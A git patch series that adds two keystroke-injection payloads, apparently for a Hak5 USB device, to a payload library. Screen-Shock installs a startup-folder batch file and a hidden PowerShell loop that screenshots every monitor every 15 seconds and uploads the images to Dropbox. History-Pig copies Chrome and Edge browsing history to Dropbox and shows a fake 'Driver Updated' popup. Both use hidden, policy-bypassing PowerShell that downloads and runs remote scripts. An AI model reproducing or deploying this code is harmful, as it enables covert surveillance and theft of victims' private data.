From 15022b6f963067c9ee27ebc7355b733cc50eb13a Mon Sep 17 00:00:00 2001 From: atomic <75549184+atomiczsec@users.noreply.github.com> Date: Wed, 7 Sep 2022 19:56:48 -0400 Subject: [PATCH 1/3] Add files via upload --- .../library/exfiltration/Screen-Shock/I.bat | 3 + .../exfiltration/Screen-Shock/README.md | 117 ++++++++++++++++++ .../library/exfiltration/Screen-Shock/c.ps1 | 46 +++++++ .../exfiltration/Screen-Shock/payload.txt | 17 +++ .../exfiltration/Screen-Shock/placeholder | 1 + 5 files changed, 184 insertions(+) create mode 100644 payloads/library/exfiltration/Screen-Shock/I.bat create mode 100644 payloads/library/exfiltration/Screen-Shock/README.md create mode 100644 payloads/library/exfiltration/Screen-Shock/c.ps1 create mode 100644 payloads/library/exfiltration/Screen-Shock/payload.txt create mode 100644 payloads/library/exfiltration/Screen-Shock/placeholder diff --git a/payloads/library/exfiltration/Screen-Shock/I.bat b/payloads/library/exfiltration/Screen-Shock/I.bat new file mode 100644 index 000000000..665c9be95 --- /dev/null +++ b/payloads/library/exfiltration/Screen-Shock/I.bat @@ -0,0 +1,3 @@ +@echo off +powershell -Command "& {cd "$env:userprofile\AppData\Roaming"; powershell -w h -NoP -NonI -Ep Bypass -File "c.ps1"}" +pause diff --git a/payloads/library/exfiltration/Screen-Shock/README.md b/payloads/library/exfiltration/Screen-Shock/README.md new file mode 100644 index 000000000..a53c03fdc --- /dev/null +++ b/payloads/library/exfiltration/Screen-Shock/README.md @@ -0,0 +1,117 @@ + + +

+ + + +

+ + +
+ Table of Contents +
    +
  1. Description
  2. +
  3. Getting Started
  4. +
  5. Contributing
  6. +
  7. Version History
  8. +
  9. Contact
  10. +
  11. Acknowledgments
  12. +
+
+ +# Screen-Shock + +This payload is meant to exfiltrate screenshots of all monitors and sends to a dropbox every 15 seconds. (This setting can be changed in the c.ps1 file) + +## Description + +This payload uses iwr to download 2 files +* I.bat +* c.ps1 + +**I.bat** is downloaded to the startup folder to maintain persistance and execute c.ps1 on reboot/startup + +**c.ps1** will sit in AppData\Roaming folder, taking a screenshot of all monitors every 15 seconds + +Then the contents will then be sent to the DropBox for viewing pleasure + + + +## Getting Started + +### Dependencies + +* Pastebin or other file sharing service, Dropbox +* Windows 10 +* [Here](https://github.com/I-Am-Jakoby/PowerShell-for-Hackers/blob/main/Functions/DropBox-Upload.md) is a tutorial on how to use DropBox-Upload + +

(back to top)

+ +### Executing program + +* Plug in your device +* Device will download both files and place them in proper directories to then run the script +``` +powershell -w h -NoP -NonI -Ep Bypass "echo (iwr PASTEBIN LINK FOR BAT).content > "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\l.bat";echo (iwr PASTEBIN LINK FOR PS1).content > "$env:APPDATA\c.ps1";powershell "$env:APPDATA\c.ps1"" +``` + +

(back to top)

+ +## Contributing + +All contributors names will be listed here: + +[atomiczsec](https://github.com/atomiczsec) + +

(back to top)

+ +## Version History + +* 0.1 + * Initial Release + +

(back to top)

+ + +## Contact + +

📱 My Socials 📱

+
+ + + + + + +
+ + C# + +
YouTube +
+ + Python + +
Twitter +
+ + Jsonnet + +
I-Am-Jakoby's Discord +
+
+ +

(back to top)

+ + + + +

(back to top)

+ + +## Acknowledgments + +* [Hak5](https://hak5.org/) +* [I-Am-Jakoby](https://github.com/I-Am-Jakoby) + +

(back to top)

diff --git a/payloads/library/exfiltration/Screen-Shock/c.ps1 b/payloads/library/exfiltration/Screen-Shock/c.ps1 new file mode 100644 index 000000000..2c1915dec --- /dev/null +++ b/payloads/library/exfiltration/Screen-Shock/c.ps1 @@ -0,0 +1,46 @@ +do{ +function DropBox-Upload { + +[CmdletBinding()] +param ( + +[Parameter (Mandatory = $True, ValueFromPipeline = $True)] +[Alias("f")] +[string]$SourceFilePath +) +$DropBoxAccessToken = "YOUR-DROPBOX-TOKEN" # Replace with your DropBox Access Token +$outputFile = Split-Path $SourceFilePath -leaf +$TargetFilePath="/$outputFile" +$arg = '{ "path": "' + $TargetFilePath + '", "mode": "add", "autorename": true, "mute": false }' +$authorization = "Bearer " + $DropBoxAccessToken +$headers = New-Object "System.Collections.Generic.Dictionary[[String],[String]]" +$headers.Add("Authorization", $authorization) +$headers.Add("Dropbox-API-Arg", $arg) +$headers.Add("Content-Type", 'application/octet-stream') +Invoke-RestMethod -Uri https://content.dropboxapi.com/2/files/upload -Method Post -InFile $SourceFilePath -Headers $headers +} + + + + Add-Type -AssemblyName System.Windows.Forms,System.Drawing + + $screens = [Windows.Forms.Screen]::AllScreens + + $top = ($screens.Bounds.Top | Measure-Object -Minimum).Minimum + $left = ($screens.Bounds.Left | Measure-Object -Minimum).Minimum + $width = ($screens.Bounds.Right | Measure-Object -Maximum).Maximum + $height = ($screens.Bounds.Bottom | Measure-Object -Maximum).Maximum + + $bounds = [Drawing.Rectangle]::FromLTRB($left, $top, $width, $height) + $bmp = New-Object -TypeName System.Drawing.Bitmap -ArgumentList ([int]$bounds.width), ([int]$bounds.height) + $graphics = [Drawing.Graphics]::FromImage($bmp) + + $graphics.CopyFromScreen($bounds.Location, [Drawing.Point]::Empty, $bounds.size) + + $bmp.Save("$env:USERPROFILE\AppData\Local\Temp\$env:computername-Capture.png") + $graphics.Dispose() + $bmp.Dispose() + + start-sleep -Seconds 15 + "$env:USERPROFILE\AppData\Local\Temp\$env:computername-Capture.png" | DropBox-Upload +}until($infinity) diff --git a/payloads/library/exfiltration/Screen-Shock/payload.txt b/payloads/library/exfiltration/Screen-Shock/payload.txt new file mode 100644 index 000000000..d75139653 --- /dev/null +++ b/payloads/library/exfiltration/Screen-Shock/payload.txt @@ -0,0 +1,17 @@ +REM Title: Screen-Shock + +REM Author: atomiczsec + +REM Description: This payload is meant to exfiltrate screenshots of all monitors and sends to a dropbox every 15 seconds. (This setting can be changed in the c.ps1 file) + +REM Target: Windows 10 + +DELAY 2000 +GUI +DELAY +STRING powershell -w h -NoP -NonI -Ep Bypass "echo (iwr PASTEBIN LINK FOR BAT).content > "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\l.bat";echo (iwr PASTEBIN LINK FOR PS1).content > "$env:APPDATA\c.ps1";powershell "$env:APPDATA\c.ps1"" +ENTER + +REM Remember to replace the link with your pastebin shared link for the intended files to download +REM Also remember to put in your discord webhook in c.ps1 +REM For the PASTEBIN LINK's do not put https:// infront of it, it should look like pastebin.com/raw/BLAHBLAHBLAH \ No newline at end of file diff --git a/payloads/library/exfiltration/Screen-Shock/placeholder b/payloads/library/exfiltration/Screen-Shock/placeholder new file mode 100644 index 000000000..8b1378917 --- /dev/null +++ b/payloads/library/exfiltration/Screen-Shock/placeholder @@ -0,0 +1 @@ + From 263f5f80cb420e26e7f7e61708ba2fcb75b3615f Mon Sep 17 00:00:00 2001 From: atomic <75549184+atomiczsec@users.noreply.github.com> Date: Wed, 7 Sep 2022 22:40:38 -0400 Subject: [PATCH 2/3] Update c.ps1 --- .../library/exfiltration/Screen-Shock/c.ps1 | 43 +++++++++---------- 1 file changed, 21 insertions(+), 22 deletions(-) diff --git a/payloads/library/exfiltration/Screen-Shock/c.ps1 b/payloads/library/exfiltration/Screen-Shock/c.ps1 index 2c1915dec..e1a890545 100644 --- a/payloads/library/exfiltration/Screen-Shock/c.ps1 +++ b/payloads/library/exfiltration/Screen-Shock/c.ps1 @@ -1,26 +1,25 @@ -do{ -function DropBox-Upload { - -[CmdletBinding()] -param ( - -[Parameter (Mandatory = $True, ValueFromPipeline = $True)] -[Alias("f")] -[string]$SourceFilePath -) -$DropBoxAccessToken = "YOUR-DROPBOX-TOKEN" # Replace with your DropBox Access Token -$outputFile = Split-Path $SourceFilePath -leaf -$TargetFilePath="/$outputFile" -$arg = '{ "path": "' + $TargetFilePath + '", "mode": "add", "autorename": true, "mute": false }' -$authorization = "Bearer " + $DropBoxAccessToken -$headers = New-Object "System.Collections.Generic.Dictionary[[String],[String]]" -$headers.Add("Authorization", $authorization) -$headers.Add("Dropbox-API-Arg", $arg) -$headers.Add("Content-Type", 'application/octet-stream') -Invoke-RestMethod -Uri https://content.dropboxapi.com/2/files/upload -Method Post -InFile $SourceFilePath -Headers $headers +function DropBox-Upload { + +[CmdletBinding()] +param ( + +[Parameter (Mandatory = $True, ValueFromPipeline = $True)] +[Alias("f")] +[string]$SourceFilePath +) +$DropBoxAccessToken = "YOUR-DROPBOX-TOKEN" # Replace with your DropBox Access Token +$outputFile = Split-Path $SourceFilePath -leaf +$TargetFilePath="/$outputFile" +$arg = '{ "path": "' + $TargetFilePath + '", "mode": "add", "autorename": true, "mute": false }' +$authorization = "Bearer " + $DropBoxAccessToken +$headers = New-Object "System.Collections.Generic.Dictionary[[String],[String]]" +$headers.Add("Authorization", $authorization) +$headers.Add("Dropbox-API-Arg", $arg) +$headers.Add("Content-Type", 'application/octet-stream') +Invoke-RestMethod -Uri https://content.dropboxapi.com/2/files/upload -Method Post -InFile $SourceFilePath -Headers $headers } - +while(1){ Add-Type -AssemblyName System.Windows.Forms,System.Drawing @@ -43,4 +42,4 @@ Invoke-RestMethod -Uri https://content.dropboxapi.com/2/files/upload -Method Pos start-sleep -Seconds 15 "$env:USERPROFILE\AppData\Local\Temp\$env:computername-Capture.png" | DropBox-Upload -}until($infinity) +} From da822c4f6fa210bdfa6b47e7ffd5a39bcc187069 Mon Sep 17 00:00:00 2001 From: atomic <75549184+atomiczsec@users.noreply.github.com> Date: Tue, 13 Sep 2022 21:49:35 -0400 Subject: [PATCH 3/3] Add files via upload --- .../library/exfiltration/History-Pig/HP.ps1 | 63 ++++++++++ .../exfiltration/History-Pig/README.md | 109 ++++++++++++++++++ .../exfiltration/History-Pig/payload.txt | 16 +++ 3 files changed, 188 insertions(+) create mode 100644 payloads/library/exfiltration/History-Pig/HP.ps1 create mode 100644 payloads/library/exfiltration/History-Pig/README.md create mode 100644 payloads/library/exfiltration/History-Pig/payload.txt diff --git a/payloads/library/exfiltration/History-Pig/HP.ps1 b/payloads/library/exfiltration/History-Pig/HP.ps1 new file mode 100644 index 000000000..42443b432 --- /dev/null +++ b/payloads/library/exfiltration/History-Pig/HP.ps1 @@ -0,0 +1,63 @@ +#History-Pig + +# See if file is a thing +Test-Path -Path "$env:USERPROFILE\AppData\Local\Google\Chrome\User Data\Default\History" -PathType Leaf + +#If the file does not exist, write to host. +if (-not(Test-Path -Path "$env:USERPROFILE/AppData/Local/Google/Chrome/User Data/Default/History" -PathType Leaf)) { + try { + Write-Host "The Chrome History file has not been found. " + } + catch { + throw $_.Exception.Message + } + } + # Copy Chrome History to Temp Directory to get sent to Dropbox + else { + $F1 = "$env:USERNAME-$(get-date -f yyyy-MM-dd_hh-mm)_chrome_history" + Copy-Item "$env:USERPROFILE/AppData/Local/Google/Chrome/User Data/Default/History" -Destination "$env:tmp/$F1" + } + +# See if file is a thing +Test-Path -Path "$env:USERPROFILE/AppData/Local/Microsoft/Edge/User Data/Default/History" -PathType Leaf + +#If the file does not exist, write to host. +if (-not(Test-Path -Path "$env:USERPROFILE/AppData/Local/Microsoft/Edge/User Data/Default/History" -PathType Leaf)) { + try { + Write-Host "The Edge History file has not been found. " + } + catch { + throw $_.Exception.Message + } +} + # Copy Edge History to Temp Directory to get sent to Dropbox + else { + $F2 = "$env:USERNAME-$(get-date -f yyyy-MM-dd_hh-mm)_edge_history" + Copy-Item "$env:USERPROFILE/AppData/Local/Microsoft/Edge/User Data/Default/History" -Destination "$env:tmp/$F2" +} + +function DropBox-Upload { + + [CmdletBinding()] + param ( + + [Parameter (Mandatory = $True, ValueFromPipeline = $True)] + [Alias("f")] + [string]$SourceFilePath + ) + $DropBoxAccessToken = "ADD-YOUR-DROPBOX-TOKEN-HERE" # Replace with your DropBox Access Token + $outputFile = Split-Path $SourceFilePath -leaf + $TargetFilePath="/$outputFile" + $arg = '{ "path": "' + $TargetFilePath + '", "mode": "add", "autorename": true, "mute": false }' + $authorization = "Bearer " + $DropBoxAccessToken + $headers = New-Object "System.Collections.Generic.Dictionary[[String],[String]]" + $headers.Add("Authorization", $authorization) + $headers.Add("Dropbox-API-Arg", $arg) + $headers.Add("Content-Type", 'application/octet-stream') + Invoke-RestMethod -Uri https://content.dropboxapi.com/2/files/upload -Method Post -InFile $SourceFilePath -Headers $headers + } + +DropBox-Upload -f "$env:tmp/$F1" +DropBox-Upload -f "$env:tmp/$F2" + +$done = New-Object -ComObject Wscript.Shell;$done.Popup("Driver Updated",1) diff --git a/payloads/library/exfiltration/History-Pig/README.md b/payloads/library/exfiltration/History-Pig/README.md new file mode 100644 index 000000000..b8552e813 --- /dev/null +++ b/payloads/library/exfiltration/History-Pig/README.md @@ -0,0 +1,109 @@ +

+ + + +

+ + +
+ Table of Contents +
    +
  1. Description
  2. +
  3. Getting Started
  4. +
  5. Contributing
  6. +
  7. Version History
  8. +
  9. Contact
  10. +
  11. Acknowledgments
  12. +
+
+ +# History-Pig + +A payload to exfiltrate the history of the 2 most popular browsers + +## Description + +This payload will enumerate through the browser directories, looking for the file that stores the history + +These files will be saved to the temp directory + +Finally dropbox will be used to exfiltrate the files to cloud storage + +## Getting Started + +### Dependencies + +* DropBox or other file sharing service - Your Shared link for the intended file +* Windows 10,11 + +

(back to top)

+ +### Executing program + +* Plug in your device +* Invoke-WebRequest will be entered in the Run Box to download and execute the script from memory +``` +powershell -w h -NoP -NonI -ep Bypass $pl = iwr < Your Shared link for the intended file> ?dl=1; iex $pl +``` + +

(back to top)

+ +## Contributing + +All contributors names will be listed here + +atomiczsec +I am Jakoby + +

(back to top)

+ +## Version History + +* 0.1 + * Initial Release + +

(back to top)

+ + +## Contact + +

📱 My Socials 📱

+
+ + + + + + +
+ + C# + +
YouTube +
+ + Python + +
Twitter +
+ + Jsonnet + +
I-Am-Jakoby's Discord +
+
+ +

(back to top)

+ + + + +

(back to top)

+ + +## Acknowledgments + +* [Hak5](https://hak5.org/) +* [I-Am-Jakoby](https://github.com/I-Am-Jakoby) + +

(back to top)

diff --git a/payloads/library/exfiltration/History-Pig/payload.txt b/payloads/library/exfiltration/History-Pig/payload.txt new file mode 100644 index 000000000..91224b206 --- /dev/null +++ b/payloads/library/exfiltration/History-Pig/payload.txt @@ -0,0 +1,16 @@ +REM Title: History-Pig + +REM Author: atomiczsec + +REM Description: This payload is meant to exfiltrate browsers history to a dropbox + +REM Target: Windows 10, 11 + +DELAY 2000 +GUI r +DELAY 500 +STRING powershell -w h -NoP -NonI -ep Bypass $pl = iwr < Your Shared link for the intended file> dl=1; iex $pl +ENTER + +REM Remember to replace the link with your DropBox shared link for the intended file to download +REM Also remember to replace ?dl=0 with ?dl=1 at the end of your link so it is executed properlymode con:cols=14 lines=1